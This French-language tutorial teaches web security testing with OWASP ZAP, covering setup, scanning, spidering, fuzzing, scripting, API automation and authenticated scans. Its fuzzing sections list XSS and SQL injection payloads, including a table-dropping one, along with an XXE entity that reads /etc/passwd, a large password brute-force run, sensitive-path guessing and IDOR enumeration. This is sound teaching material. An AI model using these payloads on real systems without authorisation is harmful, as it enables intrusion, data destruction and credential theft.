# Méthode 1 : Via Snap (recommandé)
sudo snap install zaproxy --classic

# Méthode 2 : Téléchargement direct
wget https://github.com/zaproxy/zaproxy/releases/download/v2.14.0/ZAP_2.14.0_Linux.tar.gz
tar -xvf ZAP_2.14.0_Linux.tar.gz
cd ZAP_2.14.0
./zap.sh

# Méthode 3 : Via package manager (peut être obsolète)
sudo apt update
sudo apt install zaproxy

# Vérification de l'installation
zap.sh -version

# Méthode 1 : Homebrew
brew install --cask owasp-zap

# Méthode 2 : Téléchargement depuis le site officiel
# Télécharger depuis https://www.zaproxy.org/download/
# Ouvrir le fichier .dmg et glisser dans Applications

# Lancer ZAP
open /Applications/OWASP\ ZAP.app

# Ou via terminal
/Applications/OWASP\ ZAP.app/Contents/MacOS/OWASP\ ZAP.sh

# Méthode 1 : Chocolatey
choco install zap

# Méthode 2 : Téléchargement installeur
# Télécharger ZAP_2.14.0_windows.exe depuis le site officiel
# Exécuter l'installeur

# Méthode 3 : Version portable
# Télécharger ZAP_2.14.0_windows.zip
# Extraire et exécuter zap.bat

# Lancer ZAP
"C:\Program Files\OWASP\Zed Attack Proxy\zap.bat"

# Pull de l'image officielle
docker pull zaproxy/zap-stable

# Lancer ZAP en mode daemon (headless)
docker run -u zap -p 8080:8080 -i zaproxy/zap-stable zap.sh -daemon -host 0.0.0.0 -port 8080 -config api.addrs.addr.name=.* -config api.addrs.addr.regex=true

# Lancer ZAP avec interface GUI (Linux avec X11)
xhost +local:docker
docker run -u zap -p 8080:8080 -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix zaproxy/zap-stable zap.sh

# Version weekly (dernières features)
docker pull zaproxy/zap-weekly

# Lancer ZAP
zap.sh  # Linux/macOS
zap.bat # Windows

# Ou via ligne de commande
zap.sh -port 8081

1. Firefox → Settings → Privacy & Security
2. Certificates → View Certificates
3. Authorities → Import
4. Sélectionner owasp_zap_root_ca.cer
5. Cocher "Trust this CA to identify websites"

1. Settings → Privacy and security → Security
2. Manage certificates → Authorities → Import
3. Sélectionner owasp_zap_root_ca.cer
4. Cocher "Trust this certificate for identifying websites"

# Copier le certificat
sudo cp owasp_zap_root_ca.cer /usr/local/share/ca-certificates/zap.crt

# Mettre à jour les certificats
sudo update-ca-certificates

# Ajouter au keychain
sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain owasp_zap_root_ca.cer

1. Settings → General → Network Settings
2. Cliquer "Settings"
3. Sélectionner "Manual proxy configuration"
4. HTTP Proxy: localhost, Port: 8080
5. Cocher "Also use this proxy for HTTPS"
6. Cliquer "OK"

1. Installer "FoxyProxy" ou "Proxy SwitchyOmega"
2. Configurer un profil :
   - HTTP: localhost:8080
   - HTTPS: localhost:8080
3. Activer le profil

# Temporary
export http_proxy=http://localhost:8080
export https_proxy=http://localhost:8080

# Ajouter au ~/.bashrc pour permanent
echo 'export http_proxy=http://localhost:8080' >> ~/.bashrc
echo 'export https_proxy=http://localhost:8080' >> ~/.bashrc

┌─────────────────────────────────────────────────────────────┐
│  Menu Bar: File, Edit, View, Analyze, Report, Tools, Help  │
├─────────────────────────────────────────────────────────────┤
│  Top Toolbar: New Session, Spider, Active Scan, Attack...  │
├──────────────┬──────────────────────────────────────────────┤
│              │                                              │
│   Sites      │          Work Area (Tabs)                    │
│   Tree       │   - Quick Start                              │
│              │   - Request/Response                         │
│   [+] Sites  │   - Spider                                   │
│     [+] http │   - Active Scan                              │
│       GET    │   - Fuzzer                                   │
│       POST   │   - etc.                                     │
│              │                                              │
├──────────────┴──────────────────────────────────────────────┤
│  Bottom Tabs:                                               │
│  History | Search | Alerts | Output | Breakpoints          │
└─────────────────────────────────────────────────────────────┘

Sites
└── http://exemple.com
    ├── GET:index.php
    ├── GET:about.php
    ├── POST:login.php
    └── GET:admin
        └── GET:dashboard.php

Clic droit → Filter
- Show only in scope
- Show only with alerts
- Show only POST requests
- Etc.

1. Clic droit sur un site → Include in Context → New Context
2. Nommer le contexte (ex: "MonAppWeb")
3. Définir les URLs incluses/exclues
4. Configurer l'authentification si nécessaire

https://exemple\.com/app/.*

https://exemple\.com/app/logout.*
https://exemple\.com/app/static/.*

Clic droit sur URL → Include in Scope

File → Persist Session
Ou : Ctrl+S

File → Open Session

1. Bouton "Break" dans la toolbar (icône pause)
2. Ou : Ctrl+B

1. Activer le breakpoint
2. Naviguer dans l'application
3. Modifier la requête/réponse dans l'éditeur
4. Cliquer "Continue" ou "Drop"

# Via curl
curl -x http://localhost:8080 http://example.com

# Via wget
wget -e use_proxy=yes -e http_proxy=localhost:8080 http://example.com

Break → Break on all responses

{
  "user": "john",
  "role": "user",
  "admin": false
}

{
  "user": "john",
  "role": "admin",
  "admin": true
}

# Intercepter tous les POST vers /api/
URL: /api/.*
Method: POST

# Intercepter les réponses 302 (redirections)
Status Code: 302
Response: Checked

# Intercepter les requêtes avec un cookie spécifique
Header (name): Cookie
Header (value): admin=true

GET /product.php?id=42 HTTP/1.1
Host: exemple.com

GET /product.php?id=42' HTTP/1.1
Host: exemple.com

Error: You have an error in your SQL syntax near ''42'' at line 1

Tools → Manual Request Editor
Ou : Ctrl+M

POST /api/v1/users HTTP/1.1
Host: api.exemple.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

{
  "username": "newuser",
  "email": "test@exemple.com",
  "role": "admin"
}

1. Tools → Options → HUD
2. Cocher "Enable when using the ZAP Desktop"
3. Lancer le HUD : Quick Start → Manual Explore → Launch Browser

Safe       → Pas de requêtes potentiellement dangereuses
Protected  → Uniquement sur les URLs en scope
Standard   → Toutes les requêtes autorisées
Attack     → Mode agressif, toutes attaques activées

Toolbar → Enable/Disable Passive Scan (icône bouclier)

Alert: Cookie Without Secure Flag
Risk Level: Low
Confidence: Medium

Description:
A cookie has been set without the secure flag, which means that the cookie can be accessed via unencrypted connections.

URL: https://exemple.com/login
Parameter: sessionid
Evidence: Set-Cookie: sessionid=abc123; Path=/; HttpOnly

Solution:
Whenever a cookie contains sensitive information or is a session token, then it should always be passed using an encrypted channel. Ensure that the secure flag is set for cookies containing such sensitive information.

Reference:
https://owasp.org/www-community/controls/SecureCookieAttribute
CWE-614

1. Quick Start → Automated Scan
2. Entrer l'URL : http://exemple.com
3. Cliquer "Attack"

1. Clic droit sur un site/dossier
2. Attack → Active Scan
3. Configurer les options
4. Cliquer "Start Scan"

Tools → Active Scan

1. Clic droit sur site → Attack → Active Scan
2. Onglet "Policy"
3. Sélectionner ou créer une politique de scan

1. Analyze → Scan Policy Manager
2. Cliquer "Add"
3. Nommer la politique : "Custom Policy"
4. Configurer les seuils :
   - Threshold : Off, Low, Medium, High
   - Strength : Low, Medium, High, Insane

Vulnerability: SQL Injection
Threshold: Medium (lance le test si probabilité moyenne)
Strength: High (teste beaucoup de variantes)

Vulnerability: Path Traversal
Threshold: Low (toujours lancer)
Strength: Medium

Vulnerability: CRLF Injection
Threshold: Off (désactivé)

Alert: SQL Injection
Risk Level: High
Confidence: Medium

Description:
SQL injection may be possible.

URL: http://exemple.com/product.php?id=42
Parameter: id
Attack: 42' AND '1'='1' --
Evidence: JDBC error: You have an error in your SQL syntax

Solution:
Do not trust client side input, even if there is client side validation. Use parameterized queries (prepared statements) for all database queries.

Original Value: 42
Attack Value: 42' AND '1'='1' --

Reference:
https://owasp.org/www-community/attacks/SQL_Injection
CWE-89
WASC-19

Tools → Options → Active Scan
Host per Scan: 2 (défaut: 2)
Concurrent Scans: 2 (défaut: 2)

Tools → Options → Connection
Timeout (in seconds): 20

1. Analyze → Scan Policy Manager
2. Sélectionner votre politique
3. Technology → Exclude
   - Exclure les technologies non utilisées
   - Ex: MySQL si l'app utilise PostgreSQL

Clic droit → Attack → Active Scan
Onglet "Policy" → Show Advanced Options
Cocher uniquement :
- Injection
- XSS
- Path Traversal

Quick Start → Manual Explore
Entrer URL → Launch Browser
Toolbar → Spider (icône araignée)

Clic droit sur site → Attack → Spider

Tools → Spider

Tools → Options → Spider

1. Tools → Options → Spider
2. Onglet "Advanced"
3. Configurer :
   - Maximum Depth to Crawl: 5
   - Number of Threads: 3
   - Parse Comments: checked
   - Parse Git metadata: checked
   - Parse SVN metadata: checked
   - Post Form: checked

Tools → Options → Spider
Onglet "Advanced" → Excluded URLs

Ajouter regex :
.*logout.*
.*delete.*
.*admin/remove/.*

Clic droit sur site → Attack → AJAX Spider

Tools → Options → AJAX Spider

1. Ajouter le site au scope :
   Clic droit → Include in Scope

2. Lancer le spider traditionnel d'abord :
   Clic droit → Attack → Spider
   (pour découvrir les ressources statiques)

3. Lancer l'AJAX Spider :
   Clic droit → Attack → AJAX Spider

4. Observer les nouveaux liens dans Sites Tree

5. Analyser avec scan passif puis actif

Sites découvertes après spider traditionnel :
└── http://spa.exemple.com
    ├── GET:/ (index.html)
    ├── GET:/css/app.css
    ├── GET:/js/app.js
    └── GET:/js/vendor.js

Sites découvertes après AJAX spider :
└── http://spa.exemple.com
    ├── GET:/ (index.html)
    ├── GET:/css/app.css
    ├── GET:/js/app.js
    ├── GET:/js/vendor.js
    ├── GET:/api/users
    ├── POST:/api/login
    ├── GET:/api/products
    ├── GET:/dashboard
    └── GET:/settings

1. Manage Add-ons (icône puzzle)
2. Marketplace
3. Rechercher "Forced Browse"
4. Installer

Clic droit sur site → Attack → Forced Browse

1. Select list: Common directories (default)
2. Liste personnalisée disponibles :
   - Common directories
   - Common files
   - SVN files
   - Git files
   - Admin pages
   - Backup files

/admin
/administrator
/backup
/config
/.git
/.svn
/test
/dev
/api
/api/v1
/api/v2
/.env
/web.config
/config.php
/database.sql
/backup.zip

Forced Browse → File → Load → custom-dirs.txt

✅ Found: http://exemple.com/admin (200 OK)
✅ Found: http://exemple.com/.git/config (200 OK)
✅ Found: http://exemple.com/backup.zip (200 OK)
❌ Not Found: http://exemple.com/test (404)
❌ Not Found: http://exemple.com/dev (403 Forbidden)

GET /search.php?q=test HTTP/1.1
Host: exemple.com

1. Sélectionner le paramètre à tester
2. Add → File Fuzzers → XSS
3. Payloads XSS chargés (100+ variantes)
4. Start Fuzzer

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src=javascript:alert('XSS')>
'><script>alert(String.fromCharCode(88,83,83))</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Payload #42: <script>alert('XSS')</script>
Response Code: 200
Response Size: 2456 bytes
Match: <script>alert('XSS')</script> (reflected)

1. Sélectionner le paramètre ID
2. Add → File Fuzzers → SQL Injection
3. Options :
   - Encode: URL encode
   - Threads: 5
4. Start Fuzzer

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin' #
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
1' AND 1=1--
1' AND 1=2--
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--

Payload #15: ' OR '1'='1' --
Response Code: 200
Response Size: 15234 bytes (anomalie: 10x taille normale)
Match: "MySQL syntax error" in response

1. Requête: GET /user/profile?id=42
2. Sélectionner "42"
3. Add → Numberzz
4. Configuration:
   - From: 1
   - To: 1000
   - Step: 1
5. Start Fuzzer

ID 1-100   : 200 OK (taille ~2KB)
ID 101     : 403 Forbidden
ID 102-500 : 200 OK (taille ~2KB)
ID 501     : 200 OK (taille ~15KB) ← Anomalie!
ID 502-1000: 200 OK (taille ~2KB)

Conclusion: ID 501 contient plus de données (admin?)

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
admin' #
' UNION SELECT NULL,NULL,NULL--
' AND SLEEP(5)--
'; DROP TABLE users--
' OR 1=1 LIMIT 1--
' OR 'x'='x

1. Fuzzer → Add → File
2. Sélectionner custom-sqli.txt
3. Start Fuzzer

POST /login.php HTTP/1.1
Host: exemple.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=test123

Total combinations: 5 usernames × 14,344,392 passwords = 71,721,960 requêtes

Request #42:
username=admin&password=admin123
Response: 302 Redirect to /dashboard

✅ Credentials trouvées: admin:admin123

1. Payload original: <script>alert('XSS')</script>
2. Add → File Fuzzers → XSS
3. Options → Processors → Add → Encode → URL
4. Options → Processors → Add → Encode → HTML Entity

Résultat:
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%58%53%53%27%29%3C%2F%73%63%72%69%70%74%3E

Colonne "Code" → Cliquer pour trier

Colonne "Size Resp. Body" → Cliquer pour trier
Identifier les anomalies (tailles différentes)

Fuzzer → Onglet "Filter"
Response Header: Location
Response Body: error, success, admin, etc.

Fuzzer → Right click → Export Results
Formats: CSV, HTML, XML

1. Scripts (onglet en bas)
2. Clic droit → New Script
3. Type: Stand Alone
4. Engine: ECMAScript
5. Name: my_custom_script

// Script: bulk_scanner.js
// Type: Stand Alone

// Importer les classes nécessaires
var Thread = Java.type("java.lang.Thread");
var ExtensionActiveScan = Java.type("org.zaproxy.zap.extension.ascan.ExtensionActiveScan");

// Liste des URLs à scanner
var urls = [
    "http://exemple1.com",
    "http://exemple2.com",
    "http://exemple3.com"
];

// Obtenir l'extension de scan actif
var activeScan = control.getExtensionLoader().getExtension(ExtensionActiveScan.class);

// Scanner chaque URL
for (var i = 0; i < urls.length; i++) {
    var url = urls[i];
    print("Scanning: " + url);

    // Accéder à l'URL via le spider d'abord
    var extSpider = org.parosproxy.paros.control.Control.getSingleton()
        .getExtensionLoader()
        .getExtension(org.zaproxy.zap.extension.spider.ExtensionSpider.class);

    extSpider.startScan(url, null, 0, null);

    // Attendre que le spider se termine
    while (extSpider.isScanning()) {
        Thread.sleep(1000);
    }

    print("Spider completed for: " + url);

    // Lancer le scan actif
    activeScan.startScan(url, null, null, null);

    print("Active scan started for: " + url);
}

print("All scans completed!");

Scripts → Clic droit sur le script → Run Script

// Script: export_alerts.js
// Type: Stand Alone

var FileWriter = Java.type("java.io.FileWriter");
var SimpleDateFormat = Java.type("java.text.SimpleDateFormat");
var Date = Java.type("java.util.Date");

// Obtenir toutes les alertes
var alerts = org.parosproxy.paros.model.Model.getSingleton()
    .getDb().getTableAlert().getAllAlerts();

// Créer le fichier de sortie
var dateFormat = new SimpleDateFormat("yyyyMMdd_HHmmss");
var filename = "/tmp/zap_alerts_" + dateFormat.format(new Date()) + ".csv";
var writer = new FileWriter(filename);

// En-tête CSV
writer.write("Alert,Risk,Confidence,URL,Parameter,Evidence\n");

// Écrire chaque alerte
for (var i = 0; i < alerts.size(); i++) {
    var alert = alerts.get(i);
    var line =
        "\"" + alert.getAlert() + "\"," +
        "\"" + alert.getRisk() + "\"," +
        "\"" + alert.getConfidence() + "\"," +
        "\"" + alert.getUri() + "\"," +
        "\"" + alert.getParam() + "\"," +
        "\"" + alert.getEvidence() + "\"\n";
    writer.write(line);
}

writer.close();
print("Alerts exported to: " + filename);

// Script: encode_param.js
// Type: Targeted

function invokeWith(msg) {
    // Obtenir le corps de la requête
    var body = msg.getRequestBody().toString();

    // Encoder le paramètre en base64
    var Base64 = Java.type("java.util.Base64");
    var encoded = Base64.getEncoder().encodeToString(body.getBytes());

    print("Original: " + body);
    print("Encoded: " + encoded);

    // Modifier la requête
    msg.getRequestBody().setBody(encoded);

    // Renvoyer la requête modifiée
    org.parosproxy.paros.network.HttpSender
        .sendAndReceive(msg, msg.getRequestHeader().isSecure());

    // Afficher la réponse
    print("Response Code: " + msg.getResponseHeader().getStatusCode());
    print("Response Body: " + msg.getResponseBody().toString());
}

1. Sélectionner une requête dans History
2. Clic droit → Invoke with script → encode_param.js

// Script: custom_auth.js
// Type: Authentication

function authenticate(helper, paramsValues, credentials) {
    var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader");
    var HttpMessage = Java.type("org.parosproxy.paros.network.HttpMessage");
    var URI = Java.type("org.apache.commons.httpclient.URI");

    // URL de login
    var loginUrl = "http://exemple.com/login.php";

    // Créer la requête de login
    var requestUri = new URI(loginUrl, false);
    var requestMethod = HttpRequestHeader.POST;

    // Corps de la requête
    var username = credentials.getParam("username");
    var password = credentials.getParam("password");
    var postData = "username=" + username + "&password=" + password;

    // Construire la requête
    var msg = helper.prepareMessage();
    msg.getRequestHeader().setMethod(requestMethod);
    msg.getRequestHeader().setURI(requestUri);
    msg.setRequestBody(postData);
    msg.getRequestHeader().setContentLength(msg.getRequestBody().length());

    // Envoyer la requête
    helper.sendAndReceive(msg);

    // Vérifier le succès (présence de "dashboard" dans la réponse)
    var responseBody = msg.getResponseBody().toString();
    if (responseBody.indexOf("dashboard") !== -1) {
        return msg;
    }

    return null;
}

function getRequiredParamsNames() {
    return ["username", "password"];
}

function getOptionalParamsNames() {
    return [];
}

function getCredentialsParamsNames() {
    return ["username", "password"];
}

// Script: detect_secrets.js
// Type: Passive Rules

var extensionAlert = control.getExtensionLoader()
    .getExtension(org.zaproxy.zap.extension.alert.ExtensionAlert.class);

function scan(ps, msg, src) {
    var body = msg.getResponseBody().toString();
    var url = msg.getRequestHeader().getURI().toString();

    // Patterns de secrets
    var patterns = [
        {
            name: "AWS Access Key",
            regex: /AKIA[0-9A-Z]{16}/g,
            risk: 3 // High
        },
        {
            name: "Private Key",
            regex: /-----BEGIN (RSA |DSA |EC )?PRIVATE KEY-----/g,
            risk: 3
        },
        {
            name: "API Key",
            regex: /api[_-]?key["\s:=]+[a-zA-Z0-9]{32,}/gi,
            risk: 2 // Medium
        },
        {
            name: "Password in Code",
            regex: /password["\s:=]+["'][^"']{8,}["']/gi,
            risk: 2
        }
    ];

    // Chercher chaque pattern
    patterns.forEach(function(pattern) {
        var matches = body.match(pattern.regex);
        if (matches) {
            matches.forEach(function(match) {
                // Créer une alerte
                var alertRisk = pattern.risk;
                var alertConfidence = 2; // Medium
                var alertTitle = pattern.name + " Detected";
                var alertDesc = "A " + pattern.name + " was found in the response.";
                var alertSolution = "Remove sensitive information from responses.";
                var alertReference = "https://owasp.org/www-project-top-ten/";

                ps.raiseAlert(
                    alertRisk,
                    alertConfidence,
                    alertTitle,
                    alertDesc,
                    url,
                    "",
                    "",
                    match,
                    alertSolution,
                    "",
                    0, // CWE ID
                    0, // WASC ID
                    msg
                );
            });
        }
    });
}

// Script: ssti_scanner.js
// Type: Active Rules

function scan(as, msg, param, value) {
    // Payloads SSTI
    var payloads = [
        "{{7*7}}",
        "${7*7}",
        "<%= 7*7 %>",
        "${{7*7}}",
        "#{7*7}",
        "*{7*7}"
    ];

    var expectedResult = "49";

    payloads.forEach(function(payload) {
        // Créer une nouvelle requête avec le payload
        var testMsg = msg.cloneRequest();
        as.setParam(testMsg, param, payload);

        // Envoyer la requête
        as.sendAndReceive(testMsg, false, false);

        // Analyser la réponse
        var response = testMsg.getResponseBody().toString();

        if (response.indexOf(expectedResult) !== -1) {
            // Vulnérabilité détectée!
            as.raiseAlert(
                3, // High risk
                3, // High confidence
                "Server-Side Template Injection",
                "SSTI vulnerability detected. The application evaluates template expressions.",
                testMsg.getRequestHeader().getURI().toString(),
                param,
                payload,
                "Response contains: " + expectedResult,
                "Use a safe template engine and escape user input.",
                "Payload: " + payload + "\nExpected: " + expectedResult,
                0, // CWE-94
                0, // WASC
                testMsg
            );

            return; // Stop after first detection
        }
    });
}

Tools → Options → API
- Enable API: checked
- API Key: (générer une clé ou laisser vide pour mode insecure)
- Addresses permitted to use the API: localhost

# Lancer le spider
curl "http://localhost:8080/JSON/spider/action/scan/?url=http://exemple.com&apikey=YOUR_API_KEY"

# Vérifier le statut
curl "http://localhost:8080/JSON/spider/view/status/?apikey=YOUR_API_KEY"

# Résultats
{"status":"100"}  # 100% = terminé

# Lancer le scan
curl "http://localhost:8080/JSON/ascan/action/scan/?url=http://exemple.com&apikey=YOUR_API_KEY"

# Récupérer le scan ID
# {"scan":"0"}

# Vérifier le statut
curl "http://localhost:8080/JSON/ascan/view/status/?scanId=0&apikey=YOUR_API_KEY"

# Résultats
{"status":"45"}  # 45% complété

# Toutes les alertes
curl "http://localhost:8080/JSON/alert/view/alerts/?apikey=YOUR_API_KEY"

# Alertes pour une URL spécifique
curl "http://localhost:8080/JSON/alert/view/alerts/?url=http://exemple.com&apikey=YOUR_API_KEY"

# Alertes high risk uniquement
curl "http://localhost:8080/JSON/alert/view/alertsByRisk/?url=http://exemple.com&risk=High&apikey=YOUR_API_KEY"

#!/usr/bin/env python3
import requests
import time
import json

ZAP_URL = "http://localhost:8080"
API_KEY = "your-api-key-here"
TARGET_URL = "http://exemple.com"

def zap_spider(url):
    """Lance le spider sur une URL"""
    endpoint = f"{ZAP_URL}/JSON/spider/action/scan/"
    params = {"url": url, "apikey": API_KEY}
    response = requests.get(endpoint, params=params)
    return response.json()

def zap_spider_status():
    """Vérifie le statut du spider"""
    endpoint = f"{ZAP_URL}/JSON/spider/view/status/"
    params = {"apikey": API_KEY}
    response = requests.get(endpoint, params=params)
    return int(response.json()["status"])

def zap_active_scan(url):
    """Lance un scan actif"""
    endpoint = f"{ZAP_URL}/JSON/ascan/action/scan/"
    params = {"url": url, "apikey": API_KEY}
    response = requests.get(endpoint, params=params)
    return response.json()["scan"]

def zap_scan_status(scan_id):
    """Vérifie le statut du scan actif"""
    endpoint = f"{ZAP_URL}/JSON/ascan/view/status/"
    params = {"scanId": scan_id, "apikey": API_KEY}
    response = requests.get(endpoint, params=params)
    return int(response.json()["status"])

def zap_get_alerts():
    """Récupère toutes les alertes"""
    endpoint = f"{ZAP_URL}/JSON/alert/view/alerts/"
    params = {"apikey": API_KEY}
    response = requests.get(endpoint, params=params)
    return response.json()["alerts"]

def main():
    print(f"[*] Starting scan of {TARGET_URL}")

    # 1. Spider
    print("[*] Starting spider...")
    zap_spider(TARGET_URL)

    while zap_spider_status() < 100:
        print(f"[*] Spider progress: {zap_spider_status()}%")
        time.sleep(2)

    print("[+] Spider completed")

    # 2. Active Scan
    print("[*] Starting active scan...")
    scan_id = zap_active_scan(TARGET_URL)

    while zap_scan_status(scan_id) < 100:
        print(f"[*] Scan progress: {zap_scan_status(scan_id)}%")
        time.sleep(5)

    print("[+] Active scan completed")

    # 3. Récupérer les alertes
    print("[*] Retrieving alerts...")
    alerts = zap_get_alerts()

    # Compter par sévérité
    high = sum(1 for a in alerts if a["risk"] == "High")
    medium = sum(1 for a in alerts if a["risk"] == "Medium")
    low = sum(1 for a in alerts if a["risk"] == "Low")
    info = sum(1 for a in alerts if a["risk"] == "Informational")

    print(f"\n[+] Results:")
    print(f"    High: {high}")
    print(f"    Medium: {medium}")
    print(f"    Low: {low}")
    print(f"    Informational: {info}")

    # Sauvegarder dans un fichier
    with open("zap_alerts.json", "w") as f:
        json.dump(alerts, f, indent=2)

    print(f"\n[+] Full report saved to zap_alerts.json")

if __name__ == "__main__":
    main()

chmod +x zap_automation.py
./zap_automation.py

1. Import → Import an OpenAPI definition
2. Choisir le fichier (swagger.json, openapi.yaml)
3. Ou entrer l'URL (http://api.exemple.com/swagger.json)
4. Cliquer "Import"

Tools → Manual Request Editor

POST /api/v1/users HTTP/1.1
Host: api.exemple.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

{
  "username": "john",
  "email": "john@exemple.com",
  "role": "user"
}

# GET - Récupérer des données
GET /api/v1/users/42 HTTP/1.1
Host: api.exemple.com
Authorization: Bearer token123

# POST - Créer une ressource
POST /api/v1/users HTTP/1.1
Host: api.exemple.com
Content-Type: application/json
Authorization: Bearer token123

{"username": "alice", "email": "alice@test.com"}

# PUT - Mettre à jour complètement
PUT /api/v1/users/42 HTTP/1.1
Host: api.exemple.com
Content-Type: application/json
Authorization: Bearer token123

{"username": "alice_updated", "email": "alice@updated.com"}

# PATCH - Mettre à jour partiellement
PATCH /api/v1/users/42 HTTP/1.1
Host: api.exemple.com
Content-Type: application/json
Authorization: Bearer token123

{"email": "newemail@test.com"}

# DELETE - Supprimer une ressource
DELETE /api/v1/users/42 HTTP/1.1
Host: api.exemple.com
Authorization: Bearer token123

1. Requête: GET /api/v1/users/1
2. Clic droit → Attack → Fuzz
3. Sélectionner "1"
4. Add → Numberzz (1 to 1000)
5. Start Fuzzer

ID 1-50:   200 OK (utilisateurs existants)
ID 51-99:  404 Not Found
ID 100:    200 OK (admin? taille différente)
ID 101+:   404 Not Found

POST /api/v1/users HTTP/1.1
Content-Type: application/json

{"username": "test", "email": "test@test.com", "role": "admin"}

Payloads:
- user
- admin
- superadmin
- root
- moderator
- guest

1. Requête avec JSON body
2. Fuzzer un champ
3. Payloads: File Fuzzers → SQL Injection

{
  "username": "' OR '1'='1",
  "email": "test@test.com"
}

1. Manage Add-ons → Marketplace
2. Rechercher "GraphQL"
3. Installer

1. Import → Import a GraphQL Schema
2. URL endpoint: http://api.exemple.com/graphql
3. Ou upload schema.graphql
4. Cliquer "Import"

POST /graphql HTTP/1.1
Host: api.exemple.com
Content-Type: application/json

{
  "query": "{ users { id username email } }"
}

POST /graphql HTTP/1.1
Host: api.exemple.com
Content-Type: application/json

{
  "query": "mutation { createUser(username: \"test\", email: \"test@test.com\", role: \"admin\") { id username role } }"
}

1. Sélectionner la valeur "test" dans username
2. Fuzz avec payloads XSS/SQLi
3. Observer les réponses

POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "{ __schema { types { name fields { name } } } }"
}

1. Import → Import a WSDL file
2. URL: http://exemple.com/service?wsdl
3. Cliquer "Import"

POST /service HTTP/1.1
Host: exemple.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://exemple.com/GetUser"

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <GetUser xmlns="http://exemple.com/">
      <UserId>42</UserId>
    </GetUser>
  </soap:Body>
</soap:Envelope>

1. Sélectionner <UserId>42</UserId>
2. Fuzzer la valeur "42"
3. Tester avec:
   - Nombres: 1-1000
   - Strings: admin, root, etc.
   - Injections: SQLi, XPath, XXE

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Body>
    <GetUser xmlns="http://exemple.com/">
      <UserId>&xxe;</UserId>
    </GetUser>
  </soap:Body>
</soap:Envelope>

1. Clic droit sur site → Include in Context → New Context
2. Name: "MyWebApp"
3. Include in Context: http://exemple.com/.*
4. Exclude from Context: http://exemple.com/logout

1. Clic droit sur contexte → Flag as Context → Authentication
2. Method: Form-Based Authentication
3. Login URL: http://exemple.com/login.php
4. Login Request:

1. Se connecter manuellement via le proxy ZAP
2. Trouver la requête POST dans History
3. Clic droit → Flag as Context → Authentication Login Request

POST /login.php HTTP/1.1
Host: exemple.com
Content-Type: application/x-www-form-urlencoded

username={%username%}&password={%password%}&submit=Login

Authentication → Logged In Indicator (regex):
<a href="/logout">Logout</a>

Ou Logged Out Indicator (regex):
<a href="/login">Login</a>

1. Users (dans le Context) → Add
2. Username: admin
3. Password: admin123
4. Enabled: checked

1. Clic droit sur le user → Test Authentication
2. Vérifier dans la sortie:
   - Login request sent
   - Logged in indicator found: TRUE

[INFO] Authentication Test Started
[INFO] Sending login request to http://exemple.com/login.php
[INFO] Login request completed (HTTP 302)
[INFO] Following redirect to /dashboard
[INFO] Checking logged in indicator: <a href="/logout">Logout</a>
[INFO] Logged in indicator FOUND
[SUCCESS] Authentication successful for user: admin

// Script: jwt_auth.js
// Type: Authentication

function authenticate(helper, paramsValues, credentials) {
    var HttpRequestHeader = Java.type("org.parosproxy.paros.network.HttpRequestHeader");
    var HttpMessage = Java.type("org.parosproxy.paros.network.HttpMessage");
    var URI = Java.type("org.apache.commons.httpclient.URI");

    // Endpoint de login
    var loginUrl = "http://api.exemple.com/auth/login";

    // Construire la requête JSON
    var username = credentials.getParam("username");
    var password = credentials.getParam("password");

    var jsonBody = JSON.stringify({
        "username": username,
        "password": password
    });

    // Créer la requête
    var msg = helper.prepareMessage();
    var requestUri = new URI(loginUrl, false);
    msg.getRequestHeader().setMethod(HttpRequestHeader.POST);
    msg.getRequestHeader().setURI(requestUri);
    msg.getRequestHeader().setHeader("Content-Type", "application/json");
    msg.setRequestBody(jsonBody);
    msg.getRequestHeader().setContentLength(msg.getRequestBody().length());

    // Envoyer la requête
    helper.sendAndReceive(msg);

    // Extraire le token JWT de la réponse
    var responseBody = msg.getResponseBody().toString();
    var response = JSON.parse(responseBody);

    if (response.token) {
        // Stocker le token pour les requêtes suivantes
        var token = response.token;
        msg.getRequestHeader().setHeader("Authorization", "Bearer " + token);
        return msg;
    }

    return null;
}

function getRequiredParamsNames() {
    return ["username", "password"];
}

function getOptionalParamsNames() {
    return [];
}

function getCredentialsParamsNames() {
    return ["username", "password"];
}

1. Context → Authentication
2. Method: Script-Based Authentication
3. Load Script: jwt_auth.js
4. Logged In Indicator: "token": "(present dans la réponse)

Context → Session Management
Method: Cookie-Based Session Management

// Script: add_jwt_header.js
// Type: HTTP Sender

function sendingRequest(msg, initiator, helper) {
    // Récupérer le token JWT (stocké globalement ou via script d'auth)
    var token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";

    // Ajouter le header Authorization
    msg.getRequestHeader().setHeader("Authorization", "Bearer " + token);
}

function responseReceived(msg, initiator, helper) {
    // Optionnel: Rafraîchir le token si expiré
    var responseBody = msg.getResponseBody().toString();
    if (responseBody.indexOf("token_expired") !== -1) {
        // Ré-authentifier et obtenir un nouveau token
        // (appeler le script d'auth)
    }
}

Scripts → HTTP Sender → Enable add_jwt_header.js

1. Context → Users
2. Sélectionner un user
3. Cliquer "Set as Forced User"
4. Toolbar → Force User Mode ON (icône utilisateur)

User 1: admin / admin123 (role: admin)
User 2: john / john123 (role: user)

1. Set "john" as Forced User
2. Active Scan sur /admin/
